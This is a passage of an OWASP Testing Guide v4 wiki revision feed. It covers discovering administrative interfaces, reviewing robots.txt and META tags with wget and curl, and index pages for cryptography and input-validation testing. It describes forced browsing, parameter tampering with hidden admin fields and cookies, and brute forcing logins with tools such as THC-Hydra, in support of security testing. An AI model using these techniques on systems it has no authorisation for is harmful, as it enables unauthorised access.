*data manipulation&amp;lt;br&amp;gt;&lt;br /&gt;
*configuration changes&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box Testing ===&lt;br /&gt;
The following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide(for example [[Testing for Bypassing Authorization Schema  (OTG-AUTHZ-002)| Testing for bypassing authorization schema (OTG-AUTHZ-002)]] and [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)| Testing for Insecure Direct Object References (OTG-AUTHZ-004)]] in greater detail. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Directory and file enumeration. An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: ''/admin or /administrator etc..'' or in some scenarios can be revealed within seconds using [http://www.exploit-db.com/google-dorks Google dorks].&lt;br /&gt;
* There are many tools available to perform brute forcing of server contents, see the tools section below for more information.  * A tester may have to also identify the file name of the administration page. Forcibly browsing to the identified page may provide access to the interface.&lt;br /&gt;
* Comments and links in source code. Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated. &lt;br /&gt;
* Reviewing server and application documentation. If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.&lt;br /&gt;
* Publicly available information. Many applications such as wordpress have default administrative interfaces .&lt;br /&gt;
* Alternative server port. Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.&lt;br /&gt;
* Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;admin&amp;quot; value=&amp;quot;no&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or in a cookie:&lt;br /&gt;
&lt;br /&gt;
 Cookie: session_cookie; useradmin=0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box Testing === &lt;br /&gt;
A more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Dirbuster] This currently inactive OWASP project is still a great tool for brute forcing directories and files on the server.&lt;br /&gt;
* [https://www.thc.org/thc-hydra/ THC-HYDRA] is a tool that allows brute-forcing of many interfaces, including form-based HTTP authentication.&lt;br /&gt;
*A brute forcer is much better when it uses a good dictionary, for example the [https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/ netsparker] dictionary.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* Default Password list: http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php&lt;br /&gt;
* Default Password list: http://www.cirt.net/passwords&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Review_Webserver_Metafiles_for_Information_Leakage_(OTG-INFO-003)&amp;diff=180291</id>
		<title>Review Webserver Metafiles for Information Leakage (OTG-INFO-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Review_Webserver_Metafiles_for_Information_Leakage_(OTG-INFO-003)&amp;diff=180291"/>
				<updated>2014-08-08T12:37:51Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This section describes how to test the robots.txt file for information leakage of the web application's directory or folder path(s).  Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for [[Map_execution_paths_through_application_(OTG-INFO-007) |Map execution paths through application (OTG-INFO-007)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
1. Information leakage of the web application's directory or folder path(s).&lt;br /&gt;
&lt;br /&gt;
2. Create the list of directories that are to be avoided by Spiders, Robots, or Crawlers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
===robots.txt===&lt;br /&gt;
Web Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the ''Robots Exclusion Protocol'' of the robots.txt file in the web root directory [1].&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As an example, the beginning of the robots.txt file from http://www.google.com/robots.txt sampled on 11 August 2013 is quoted below:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
User-agent: *&lt;br /&gt;
Disallow: /search&lt;br /&gt;
Disallow: /sdch&lt;br /&gt;
Disallow: /groups&lt;br /&gt;
Disallow: /images&lt;br /&gt;
Disallow: /catalogs&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The ''User-Agent'' directive refers to the specific web spider/robot/crawler.  For example the ''User-Agent: Googlebot'' refers to the spider from Google while &amp;quot;User-Agent: bingbot&amp;quot;[http://www.bing.com/blogs/site_blogs/b/webmaster/archive/2010/06/28/bing-crawler-bingbot-on-the-horizon.aspx] refers to crawler from Microsoft/Yahoo!.  ''User-Agent: *'' in the example above applies to all web spiders/robots/crawlers [2] as quoted below:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
User-agent: *&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The ''Disallow'' directive specifies which resources are prohibited by spiders/robots/crawlers. In the example above, directories such as the following are prohibited:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
... &lt;br /&gt;
Disallow: /search&lt;br /&gt;
Disallow: /sdch&lt;br /&gt;
Disallow: /groups&lt;br /&gt;
Disallow: /images&lt;br /&gt;
Disallow: /catalogs&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Web spiders/robots/crawlers can intentionally ignore the ''Disallow'' directives specified in a robots.txt file [3], such as those from Social Networks[https://www.htbridge.com/news/social_networks_can_robots_violate_user_privacy.html] to ensure that shared linked are still valid.  Hence, robots.txt should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''robots.txt in webroot - with &amp;quot;wget&amp;quot; or &amp;quot;curl&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The robots.txt file is retrieved from the web root directory of the web server. For example, to retrieve the robots.txt from www.google.com using &amp;quot;wget&amp;quot; or &amp;quot;curl&amp;quot;:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cmlh$ wget http://www.google.com/robots.txt&lt;br /&gt;
--2013-08-11 14:40:36--  http://www.google.com/robots.txt&lt;br /&gt;
Resolving www.google.com... 74.125.237.17, 74.125.237.18, 74.125.237.19, ...&lt;br /&gt;
Connecting to www.google.com|74.125.237.17|:80... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: unspecified [text/plain]&lt;br /&gt;
Saving to: ‘robots.txt.1’&lt;br /&gt;
&lt;br /&gt;
    [ &amp;lt;=&amp;gt;                                   ] 7,074       --.-K/s   in 0s      &lt;br /&gt;
&lt;br /&gt;
2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]&lt;br /&gt;
&lt;br /&gt;
cmlh$ head -n5 robots.txt&lt;br /&gt;
User-agent: *&lt;br /&gt;
Disallow: /search&lt;br /&gt;
Disallow: /sdch&lt;br /&gt;
Disallow: /groups&lt;br /&gt;
Disallow: /images&lt;br /&gt;
cmlh$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cmlh$ curl -O http://www.google.com/robots.txt&lt;br /&gt;
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                 Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
101  7074    0  7074    0     0   9410      0 --:--:-- --:--:-- --:--:-- 27312&lt;br /&gt;
&lt;br /&gt;
cmlh$ head -n5 robots.txt&lt;br /&gt;
User-agent: *&lt;br /&gt;
Disallow: /search&lt;br /&gt;
Disallow: /sdch&lt;br /&gt;
Disallow: /groups&lt;br /&gt;
Disallow: /images&lt;br /&gt;
cmlh$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''robots.txt in webroot - with rockspider'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;quot;rockspider&amp;quot;[https://github.com/cmlh/rockspider/releases] automates the creation of the initial scope for Spiders/Robots/Crawlers of files and directories/folders of a web site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, to create the initial scope based on the Allowed: directive from www.google.com using &amp;quot;rockspider&amp;quot;[https://github.com/cmlh/rockspider/releases]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cmlh$ ./rockspider.pl -www www.google.com&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Rockspider&amp;quot; Alpha v0.1_2&lt;br /&gt;
&lt;br /&gt;
Copyright 2013 Christian Heinrich&lt;br /&gt;
Licensed under the Apache License, Version 2.0&lt;br /&gt;
&lt;br /&gt;
1. Downloading http://www.google.com/robots.txt&lt;br /&gt;
2. &amp;quot;robots.txt&amp;quot; saved as &amp;quot;www.google.com-robots.txt&amp;quot;&lt;br /&gt;
3. Sending Allow: URIs of www.google.com to web proxy i.e. 127.0.0.1:8080&lt;br /&gt;
	 /catalogs/about sent&lt;br /&gt;
	 /catalogs/p? sent&lt;br /&gt;
	 /news/directory sent&lt;br /&gt;
	...&lt;br /&gt;
4. Done.&lt;br /&gt;
&lt;br /&gt;
cmlh$&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Analyze robots.txt using Google Webmaster Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
Web site owners can use the Google &amp;quot;Analyze robots.txt&amp;quot; function to analyse the website as part of its &amp;quot;Google Webmaster Tools&amp;quot; (https://www.google.com/webmasters/tools). This tool can assist with testing and the procedure is as follows:&lt;br /&gt;
&lt;br /&gt;
1. Sign into Google Webmaster Tools with a Google account.&amp;lt;br&amp;gt;&lt;br /&gt;
2. On the dashboard, write the URL for the site to be analyzed.&amp;lt;br&amp;gt;&lt;br /&gt;
3. Choose between the available methods and follow the on screen instruction.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===META Tag===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;META&amp;gt; tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a &amp;quot;deep link&amp;quot;[http://en.wikipedia.org/wiki/Deep_linking].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If there is no &amp;quot;&amp;lt;META NAME=&amp;quot;ROBOTS&amp;quot; ... &amp;gt;&amp;quot; entry then the &amp;quot;Robots Exclusion Protocol&amp;quot; defaults to &amp;quot;INDEX,FOLLOW&amp;quot; respectively.  Therefore, the other two valid entries defined by the &amp;quot;Robots Exclusion Protocol&amp;quot; are prefixed with &amp;quot;NO...&amp;quot; i.e. &amp;quot;NOINDEX&amp;quot; and &amp;quot;NOFOLLOW&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Web spiders/robots/crawlers can intentionally ignore the &amp;quot;&amp;lt;META NAME=&amp;quot;ROBOTS&amp;quot;&amp;quot; tag as the robots.txt file convention is preferred.  Hence, &amp;lt;b&amp;gt;&amp;lt;META&amp;gt; Tags should not be considered the primary mechanism, rather a complementary control to robots.txt&amp;lt;/b&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;META&amp;gt; Tags - with Burp'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Based on the Disallow directive(s) listed within the robots.txt file in webroot, a regular expression search for &amp;quot;&amp;lt;META NAME=&amp;quot;ROBOTS&amp;quot;&amp;quot; within each web page is undertaken and the result compared to the robots.txt file in webroot.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, the robots.txt file from facebook.com has a &amp;quot;Disallow: /ac.php&amp;quot; entry[http://facebook.com/robots.txt] and the resulting search for &amp;quot;&amp;lt;META NAME=&amp;quot;ROBOTS&amp;quot;&amp;quot; shown below:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:CMLH-Meta Tag Example-Facebook-Aug 2013.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above might be considered a fail since &amp;quot;INDEX,FOLLOW&amp;quot; is the default &amp;lt;META&amp;gt; Tag specified by the &amp;quot;Robots Exclusion Protocol&amp;quot; yet &amp;quot;Disallow: /ac.php&amp;quot; is listed in robots.txt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
* Browser (View Source function)&lt;br /&gt;
* curl&lt;br /&gt;
* wget&lt;br /&gt;
* rockspider[https://github.com/cmlh/rockspider/releases]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] &amp;quot;The Web Robots Pages&amp;quot; - http://www.robotstxt.org/&lt;br /&gt;
* [2] &amp;quot;Block and Remove Pages Using a robots.txt File&amp;quot; - https://support.google.com/webmasters/answer/156449&lt;br /&gt;
* [3] &amp;quot;(ISC)2 Blog: The Attack of the Spiders from the Clouds&amp;quot; - http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html&lt;br /&gt;
* [4] &amp;quot;Telstra customer database exposed&amp;quot; - http://www.smh.com.au/it-pro/security-it/telstra-customer-database-exposed-20111209-1on60.html&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_weak_Cryptography&amp;diff=180290</id>
		<title>Testing for weak Cryptography</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_weak_Cryptography&amp;diff=180290"/>
				<updated>2014-08-08T12:35:09Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.10 Testing for weak Cryptography '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)| 4.10.1 Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OTG-CRYPST-002)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-002)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Input_Validation&amp;diff=180289</id>
		<title>Testing for Input Validation</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Input_Validation&amp;diff=180289"/>
				<updated>2014-08-08T12:34:02Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.8 Input Validation Testing '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
The most common web application security weakness is the failure to properly validate input coming from the client or from the environment before using it. This weakness leads to almost all of the major vulnerabilities in web applications, such as cross site scripting, SQL injection, interpreter injection, locale/Unicode attacks, file system attacks, and buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Data from an external entity or client should never be trusted, since it can be arbitrarily tampered with by an attacker. &amp;quot;All Input is Evil&amp;quot;, says Michael Howard in his famous book &amp;quot;Writing Secure Code&amp;quot;. That is rule number one. Unfortunately, complex applications often have a large number of entry points, which makes it difficult for a developer to enforce this rule. This chapter describes Data Validation testing. This is the task of testing all the possible forms of input to understand if the application sufficiently validates input data before using it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation testing is split into the following categories:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for Cross site scripting'''&amp;lt;br&amp;gt;&lt;br /&gt;
Cross Site Scripting (XSS) testing checks if it is possible to manipulate the input parameters of the application so that it generates malicious output. Testers find an XSS vulnerability when the application does not validate their input and creates an output that is under their control. This vulnerability leads to various attacks, for example, stealing confidential information (such as session cookies) or taking control of the victim's browser. An XSS attack breaks the following pattern: Input -&amp;gt; Output  == cross-site scripting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this guide, the following types of XSS testing are discussed in details:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OTG-INPVAL-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001) ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for Stored Cross site scripting  (OTG-INPVAL-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002) ]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Client side XSS testing, such as DOM XSS and Cross site Flashing is discussed in the Client Side testing section. &lt;br /&gt;
&lt;br /&gt;
'''Testing for HTTP Verb Tampering and Parameter Pollution'''&lt;br /&gt;
HTTP Verb Tampering tests the web application's response to different HTTP methods accessing system objects. For every system object discovered during spidering, the tester should attempt accessing all of those objects with every HTTP method.&lt;br /&gt;
HTTP Parameter Pollution tests the applications response to receiving multiple HTTP parameters with the same name. For example, if the parameter ''username'' is included in the GET or POST parameters twice, which one is honoured, if any.&lt;br /&gt;
&lt;br /&gt;
HTTP Verb Tampering is described in &lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OTG-INPVAL-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] &lt;br /&gt;
&lt;br /&gt;
and HTTP Parameter testing techniques are presented in &lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OTG-INPVAL-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] &lt;br /&gt;
&lt;br /&gt;
'''[[Testing for SQL Injection  (OTG-INPVAL-005)|4.8.5 SQL Injection  (OTG-INPVAL-005)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
SQL injection testing checks if it is possible to inject data into the application so that it executes a user-controlled SQL query in the back-end database. Testers find an SQL injection vulnerability if the application uses user input to create SQL queries without proper input validation. A successful exploitation of this class of vulnerability allows an unauthorized user to access or manipulate data in the database. Note that application data often represents the core asset of a company. An SQL Injection attack breaks the following pattern:&lt;br /&gt;
Input -&amp;gt; Query SQL == SQL injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection testing is further broken down by product or vendor:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for Oracle |4.8.5.1 Oracle Testing]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for MySQL |4.8.5.2 MySQL Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for SQL Server |4.8.5.3 SQL Server Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for MS Access|4.8.5.5 MS Access Testing]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for LDAP Injection  (OTG-INPVAL-006) |4.8.6 LDAP Injection  (OTG-INPVAL-006)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
LDAP injection testing is similar to SQL Injection testing. The differences are that testers use the LDAP protocol instead of SQL and the target is an LDAP Server instead of a SQL Server. &lt;br /&gt;
An LDAP Injection attack breaks the following pattern:&amp;lt;br&amp;gt;&lt;br /&gt;
Input -&amp;gt; Query LDAP == LDAP injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for ORM Injection   (OTG-INPVAL-007) |4.8.7 ORM Injection  (OTG-INPVAL-007)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
ORM injection testing is similar to SQL Injection Testing. In this case, testers use a SQL Injection against an ORM-generated data access object model. From the tester's point of view, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in the code generated by an ORM tool.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for XML Injection (OTG-INPVAL-008) |4.8.8 XML Injection (OTG-INPVAL-008)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
XML injection testing checks if it possible to inject a particular XML document into the application. Testers find an XML injection vulnerability if the XML parser fails to make appropriate data validation.&amp;lt;br&amp;gt;&lt;br /&gt;
An XML Injection attack breaks the following pattern:&amp;lt;br&amp;gt;&lt;br /&gt;
Input -&amp;gt; XML doc == XML injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for SSI Injection  (OTG-INPVAL-009) |4.8.9 SSI Injection  (OTG-INPVAL-009)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by Server-Side Includes (SSI) Injection. In SSI injection testing, testers check if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for XPath Injection  (OTG-INPVAL-010) |4.8.10 XPath Injection  (OTG-INPVAL-010)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, testers check if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for IMAP/SMTP Injection  (OTG-INPVAL-011)|4.8.11 IMAP/SMTP Injection  (OTG-INPVAL-011)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
This threat affects all the applications that communicate with mail servers (IMAP/SMTP), generally web mail applications. In IMAP/SMTP injection testing, testers check if it possible to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not properly sanitized. &amp;lt;br&amp;gt;&lt;br /&gt;
An IMAP/SMTP Injection attack breaks the following pattern:&amp;lt;br&amp;gt;&lt;br /&gt;
Input -&amp;gt; IMAP/SMTP command == IMAP/SMTP Injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for Code Injection  (OTG-INPVAL-012)|4.8.12 Code Injection  (OTG-INPVAL-012)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
Code injection testing checks if it is possible to inject into an application data that will be later executed by the web server.&amp;lt;br&amp;gt;&lt;br /&gt;
A Code Injection attack breaks the following pattern:&amp;lt;br&amp;gt;&lt;br /&gt;
Input -&amp;gt; malicious Code == Code Injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for Command Injection   (OTG-INPVAL-013)|4.8.13 OS Commanding   (OTG-INPVAL-013)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
In command injection testing testers will try to inject an OS command through an HTTP request into the application.&amp;lt;br&amp;gt;&lt;br /&gt;
An OS Command Injection attack breaks the following pattern:&amp;lt;br&amp;gt;&lt;br /&gt;
Input -&amp;gt; OS Command == OS Command Injection&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for Buffer Overflow (OTG-INPVAL-014)|4.8.14 Buffer overflow (OTG-INPVAL-014)]]&amp;lt;br&amp;gt;'''&lt;br /&gt;
In these tests, testers check for different types of buffer overflow vulnerabilities. Here are the testing methods for the common types of buffer overflow vulnerabilities:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for Heap Overflow |4.8.14.1 Heap overflow ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for Stack Overflow |4.8.14.2 Stack overflow ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Testing for Format String |4.8.14.3 Format string ]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general Buffer overflow breaks the following pattern:&amp;lt;br&amp;gt;&lt;br /&gt;
Input -&amp;gt; Fixed buffer or format string == overflow&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[Testing for Incubated Vulnerability (OTG-INPVAL-015) |4.8.15 Incubated vulnerability (OTG-INPVAL-015)]] &amp;lt;br&amp;gt;'''&lt;br /&gt;
Incubated testing is a complex testing that needs more than one data validation vulnerability to work.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-016)|4.8.16 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-016)]]&amp;lt;br&amp;gt;&lt;br /&gt;
Describes how to test for an HTTP Exploit, as HTTP Verb, HTTP Splitting, HTTP Smuggling.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In every pattern shown, the data should be validated by the application before it's trusted and processed. The goal of testing is to verify if the application actually performs validation and does not trust its input.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	</feed>